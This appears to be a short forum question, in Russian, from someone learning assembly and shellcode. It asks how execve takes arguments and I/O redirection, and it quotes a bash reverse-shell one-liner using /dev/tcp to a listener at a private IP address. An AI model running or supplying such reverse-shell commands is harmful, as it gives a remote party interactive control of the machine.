Я пытаюсь изучить сборку и написать шелл-код. У меня вопрос о execve
и передаче аргументов программе, которую она будет выполнять.
У меня есть рабочий код для выполнения оболочки bash, но я не уверен в формате ввода execve
для передачи ему дополнительных аргументов. Могу ли я также перенаправлять stdin stdout? Я хотел создать обратное TCP-соединение с таким типом командной строки:
/bin/bash -i >& /dev/tcp/192.168.1.4/1234 0>&1
Следует ли разделять аргументы NULL? Я получил его для выполнения оболочки, но он не подключился к слушающему NC.
Я знаю, что это необычный способ сделать это, но я просто хотел попробовать что-то другое :-)
Ваше здоровье